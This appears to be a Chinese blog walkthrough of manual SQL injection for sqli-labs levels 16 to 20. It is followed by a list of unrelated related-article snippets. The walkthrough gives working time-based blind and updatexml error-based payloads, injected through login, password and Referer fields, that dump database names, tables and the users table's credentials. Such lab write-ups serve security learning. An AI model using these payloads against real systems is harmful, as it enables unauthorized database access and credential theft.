sqlilabs less16-20关手工注入

news/2024/9/20 7:12:44/ 标签: 数据库, oracle

第16关

一.判断闭合方式

闭合方式点“)

admin")and1=1#

二.判断数据库长度

admin") and if(length(database())>7, 0, sleep(5))#

页面无延迟 

admin") and if(length(database())>8, 0, sleep(5))#

 

页面有延迟说明数据库长度为8

三.判断数据库的第一个字符

admin") and if(ascii(substr(database(),1,1))>114, 0, sleep(5))#

页面无延迟

admin") and if(ascii(substr(database(),1,1))>115, 0, sleep(5))#

 

页面有延迟说明数据库第一个字符为‘s’

........

最终得出数据库为security

四.判断数据库的表名

admin") and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>117, 0, sleep(5))#

说明数据库表名第一个字符为‘u’

.......

最终得出第一张表为users

五.判断表中的字段

admin") and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>105, 0, sleep(5))-- -

页面有延迟说明表中的第一个字段为‘e'

.......

以此类推可得出所有

第17关

 一判断闭合点

发现只有用户名采用了过滤函数,  修改的密码并没有过滤;所以利用密码进行报错注入

1’ and 1=1;

二. 查询数据库

1'or updatexml(1,concat('~', database(), '~'),0) #

 

 二.查询数据库下的所有表

1'or updatexml(1,concat('~', (select group_concat(table_name) from information_schema.tables where table_schema=database()), '~'),3) #

三.查询user表中的所有列

1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'),'~'),1)#

 

四.查询所有数据

1' and updatexml(1,concat('~',(select group_concat(username,password) from users),'~'),1)#

 

第18关

利用urp Suite 抓包,在Referer后面进行注入测试

一.判断闭合点

闭合点为1'and

二.查询数据库

updatexml(1, concat(1, database ()), 1)and'

三.查表名

1'and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)and' 

 

四.查列名

1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and'

 

五.查看users表中所有信息 

1' and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1)and'

第19关

与第18关同理

一.判断闭合点

闭合方式为'and'

 

二.查数据库

'and updatexml(1,concat(1,database()),1)and'

 

三.查表名

1'and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)and'

 

四.查列名

1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and'

 

五.查看users表中所有信息

1' and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1)and'

 

第20关

一.判断闭合方式

闭合方式为'--+

二.查数据库

'and updatexml(1,concat(1,database()),1)--+

 

三.查表名

'and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

 

四.查列名

' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+

五.查看users表中所有信息

' and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1)--+

 


http://www.ppmy.cn/news/1514342.html

相关文章

spark全面个人总结(20个面试点)非网文

1. 请简述Spark的工作原理和架构? 基于RDD,一种数据结构,含数据项、处理函数、血缘。spark解析任务,生成rdd,并将系列rdd转换成一系列物理计划,然后发送到集群上的各个节点执行。spark负责管理这些任务&a…

UV LED供电为什么要选择使用恒流驱动电源

LED为何一定要恒流供电? 在讨论此议题之前,什么是电源的恒流恒压? 什么是电源的恒流恒压   恒流,就是输出电流是恒定的,但电源电流却不是固定的,标称的电压只是安全上限;恒压,就是输出电压是…

Mysql varchar的最大值到底有多少

MySQL中varchar类型的最大值受到多个因素的影响,包括MySQL的版本、字符集以及行的其他字段配置。以下是对varchar最大值的一个详细解析: 1. MySQL版本差异 MySQL 4.1及以前版本:varchar的最大长度限制为255字节。MySQL 5.0及以后版本&#…

Ps:首选项 - 图像处理

Ps菜单:编辑/首选项 Edit/Preferences 快捷键:Ctrl K Photoshop 首选项中的“图像处理” Image Processing选项卡让用户可以根据当前工作任务的需要,在处理速度和结果的精细度之间找到平衡。这些设置可以帮助优化 Photoshop 的处理性能&…

STM32f407 网络接收 fpga 的 bin 文件并更新到 fpga series7(2)

STM32f407 网络接收 fpga 的 bin 文件并更新到 fpga series7(2) 简介 实验 2:在单片机搭建好 tcp 服务器后,编写传送文件的上位机。 整体实现 - 利用qt的tcpsocket简单封装 - 每次发送512字节,这样小的tcp包就不会自动分包。保证每一个51…

无人驾驶,并非无人之地

图片|Photo by 萝卜快跑 ©自象限原创 作者丨罗辑 老司机又双叒叕被“抢”了? 随着武汉无人驾驶的Robotaxi在各社交媒体平台出圈,自动驾驶安全员的职业从幕后走向台前,近期,招聘平台信息也显示,萝卜…

React Native中好用的UI组件库

文章目录 前言1.React Native ElementsStar数超24K地址 2.React Native UI KittenStar数超20K地址 3.NativeBaseStar数超20K地址 前言 下面是React Native中一些常用的UI库 1.React Native Elements Star数超24K 官方介绍 React Native Elements 的目标是提供一套用于在 Rea…

wpf DataTemplate 和 ControlTemplate 区别,应用举例

在WPF中,模版(ControlTemplate ) ControlTemplate用于定义控件的内部结构和外观,它决定了控件的“长成什么样子”,并允许开发者在控件原有的内部逻辑基础上扩展自己的逻辑。DataTemplate则专注于数据内容的展示方式&am…

Parallels Desktop 19 for Mac 安装虚拟机需要激活吗

Parallels Desktop 19 for Mac 乃是一款适配于 Mac 的虚拟化软件。它能让您在 Mac 计算机上同时运行多个操作系统。您可借此创建虚拟机,并于其中装设不同的操作系统,如 Windows、Linux 或 macOS。使用 Parallels Desktop 19 mac 版时,您可在 …

【Docker】gitea的ssh容器直通

本文首发于 ❄️慕雪的寒舍 1.跟着文档走 gitea的安装比较简单,直接使用官方文档中的docker-compose文件即可。如果想实现ssh容器直通,需要对这个docker-compose文件做一定修改。 如果你还没有安装docker,参考本站教程 linux安装docker&…

手机麻将APP开发违法吗,有哪些注意的地方呢?

在我的职业生涯中,我处理过许多因开发或运营手机游戏而遭遇法律处罚的案例。游戏作为一种传统的娱乐形式,在中国拥有广泛的受众。然而,随着智能手机的普及,手机游戏的开发和运营逐渐成为热门领域,但其中也存在不少法律…

c++链表(list)

前言 链表作为一个常见的数据结构,在高频插入删除的场景下有独特的优势,在内存的使用上也极少有浪费可以按需申请。今天我们就来简单的学习一下这种数据结构,链表也有很多不同的实现,我们这里和标准库保持一致,实现带…

docker手动部署django项目Dockerfile编排-后端发布

1、首先创建一个桥接网络 docker network create auto 2、部署redis,提供celery的消息队列服务 docker run --name redis --restartalways -d --network auto -v redis:/data redis:alpine3、部署数据库 注意数据库账号密码 docker run --name mariadb --restartalways -d…

远程消息传递的艺术:NSDistantObject在Objective-C中的妙用

标题:远程消息传递的艺术:NSDistantObject在Objective-C中的妙用 引言 在Objective-C的丰富生态中,NSDistantObject扮演着至关重要的角色,特别是在处理分布式系统中的远程消息传递。它允许对象之间跨越不同地址空间进行通信&…

基于矢量控制器的PMSM永磁同步电机速度控制系统simulink建模与仿真

目录 1.课题概述 2.系统仿真结果 3.核心程序与模型 4.系统原理简介 5.完整工程文件 1.课题概述 基于矢量控制器的PMSM永磁同步电机速度控制系统simulink建模与仿真,仿真输出电机转速跟踪曲线,PID控制器输出曲线以及Te输出曲线。 2.系统仿真结果 &…

通过访存地址获取主存数据的过程

目录 1.根据访存地址在Cache中查找数据 2.如果在Cache中命中 3.如果没有命中 4.数据送CPU 5.做几道题: 主要厘清思路,中间细节需自行补充! 1.根据访存地址在Cache中查找数据 ① 访存地址的结构会根据Cache和主存之间的映射方式不同而改变。映射方式…

【C++ 面试 - 面向对象】每日 3 题(七)

✍个人博客:Pandaconda-CSDN博客 📣专栏地址:http://t.csdnimg.cn/fYaBd 📚专栏简介:在这个专栏中,我将会分享 C 面试中常见的面试题给大家~ ❤️如果有收获的话,欢迎点赞👍收藏&…

centos7.9系统安装cloudpods并使用ceph存储(二)

1.ceph安装 1.1 环境准备 配置hosts: $ vim /etc/hosts 10.121.x.x node01设置ssh无密码登录: # ssh-keygen -t rsa # ssh-copy-id -i /root/.ssh/id_rsa node01关闭selinux、firewalld # setenforce 0 # sed -i "s#SELINUXenforcing#SELINUXd…

5步掌握Python Django+Vue二手房项目,实现房价预测与知识图谱系统

🍊作者:计算机毕设匠心工作室 🍊简介:毕业后就一直专业从事计算机软件程序开发,至今也有8年工作经验。擅长Java、Python、微信小程序、安卓、大数据、PHP、.NET|C#、Golang等。 擅长:按照需求定制化开发项目…

基于SpringBoot的在线笔记网站的设计与实现

目录 项目技术和环境 页面展示 登录注册 管理员页面 用户页面 在线网址 源代码 本系统由十大核心模块构成,包括用户登录与注册模块、个人中心模块、笔记分类与笔记管理模块、笔记详情展示模块、分享协作与收藏管理模块、回收站与用户管理模块,以及…